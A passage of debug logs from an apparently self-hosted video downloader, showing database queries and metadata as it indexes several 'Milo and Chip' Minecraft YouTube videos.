up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "6e43adab-3ef6-4c89-8ac4-e889a92e3b6d", "VRn3KpKOB-Q", false, "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, [], 1631, false, 6, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, false, 98, ~U[2026-05-22 23:00:32Z], ~U[2026-06-03 23:41:26Z], ~U[2026-06-03 23:41:26Z], "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "VRn3KpKOB-Q", "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, 1631, false, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, ~U[2026-05-22 23:00:32Z]] 19:41:26.727 [debug] QUERY OK source="sources" db=0.3ms idle=41.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:26.727 [debug] QUERY OK source="media_profiles" db=0.2ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:26.728 [debug] QUERY OK source="media_items" db=0.4ms idle=15.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138657] 19:41:26.728 [debug] Current batch of media processed. Will check again in 1000ms 19:41:27.729 [debug] Current batch of media processed. Will check again in 1000ms 19:41:28.730 [debug] Current batch of media processed. Will check again in 1000ms 19:41:29.731 [debug] Current batch of media processed. Will check again in 1000ms 19:41:30.733 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1391, "filename" => "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", "id" => "x3dral7OjIw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x3dral7OjIw", "playlist_index" => 7, "timestamp" => 1779318064, "title" => "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "upload_date" => "20260520"} 19:41:30.734 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=42.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:30.735 [debug] QUERY OK source="sources" db=0.5ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:30.740 [debug] QUERY OK source="media_items" db=3.7ms idle=36.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 23:01:04Z], 30] 19:41:30.743 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=41.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "c5e5e384-8730-4c20-a0e5-da380071a809", "x3dral7OjIw", false, "https://www.youtube.com/watch?v=x3dral7OjIw", 30, [], 1391, false, 7, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, false, 98, ~U[2026-05-20 23:01:04Z], ~U[2026-06-03 23:41:30Z], ~U[2026-06-03 23:41:30Z], "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "x3dral7OjIw", "https://www.youtube.com/watch?v=x3dral7OjIw", 30, 1391, false, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, ~U[2026-05-20 23:01:04Z]] 19:41:30.745 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=44.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:30.746 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=11.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:30.748 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=11.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138228] 19:41:30.748 [debug] Current batch of media processed. Will check again in 1000ms 19:41:31.749 [debug] Current batch of media processed. Will check again in 1000ms 19:41:32.750 [debug] Current batch of media processed. Will check again in 1000ms 19:41:32.847 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:33.752 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1840, "filename" => "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", "id" => "SQAKG_LKgQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SQAKG_LKgQU", "playlist_index" => 8, "timestamp" => 1779145232, "title" => "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "upload_date" => "20260518"} 19:41:33.753 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1052.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:33.754 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1054.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:33.757 [debug] QUERY OK source="media_items" db=2.3ms idle=1055.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 23:00:32Z], 30] 19:41:33.758 [debug] QUERY OK source="media_items" db=0.6ms idle=909.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "bb6a1b2a-37bd-4c7d-9060-ce4051101747", "SQAKG_LKgQU", false, "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, [], 1840, false, 8, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, false, 98, ~U[2026-05-18 23:00:32Z], ~U[2026-06-03 23:41:33Z], ~U[2026-06-03 23:41:33Z], "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "SQAKG_LKgQU", "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, 1840, false, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, ~U[2026-05-18 23:00:32Z]] 19:41:33.758 [debug] QUERY OK source="sources" db=0.2ms idle=63.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:33.758 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:33.759 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137801] 19:41:33.759 [debug] Current batch of media processed. Will check again in 1000ms 19:41:34.760 [debug] Current batch of media processed. Will check again in 1000ms 19:41:35.761 [debug] Current batch of media processed. Will check again in 1000ms 19:41:36.762 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2198, "filename" => "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", "id" => "w4DxHZFJ7No", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=w4DxHZFJ7No", "playlist_index" => 9, "timestamp" => 1778968851, "title" => "Minecraft, But The Whole World is Underwater", "upload_date" => "20260516"} 19:41:36.762 [debug] QUERY OK source="sources" db=0.2ms idle=1063.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:36.763 [debug] QUERY OK source="sources" db=0.1ms idle=1063.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:36.764 [debug] QUERY OK source="media_items" db=1.3ms idle=1063.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 22:00:51Z], 30] 19:41:36.766 [debug] QUERY OK source="media_items" db=0.9ms idle=1065.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "54fdc268-16d5-4195-ba6a-90cf19fa0795", "w4DxHZFJ7No", false, "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, [], 2198, false, 9, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, false, 98, ~U[2026-05-16 22:00:51Z], ~U[2026-06-03 23:41:36Z], ~U[2026-06-03 23:41:36Z], "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "w4DxHZFJ7No", "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, 2198, false, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, ~U[2026-05-16 22:00:51Z]] 19:41:36.766 [debug] QUERY OK source="sources" db=0.2ms idle=68.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:36.767 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:36.767 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137375] 19:41:36.767 [debug] Current batch of media processed. Will check again in 1000ms 19:41:37.768 [debug] Current batch of media processed. Will check again in 1000ms 19:41:38.769 [debug] Current batch of media processed. Will check again in 1000ms 19:41:39.770 [debug] Current batch of media processed. Will check again in 1000ms 19:41:40.771 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" 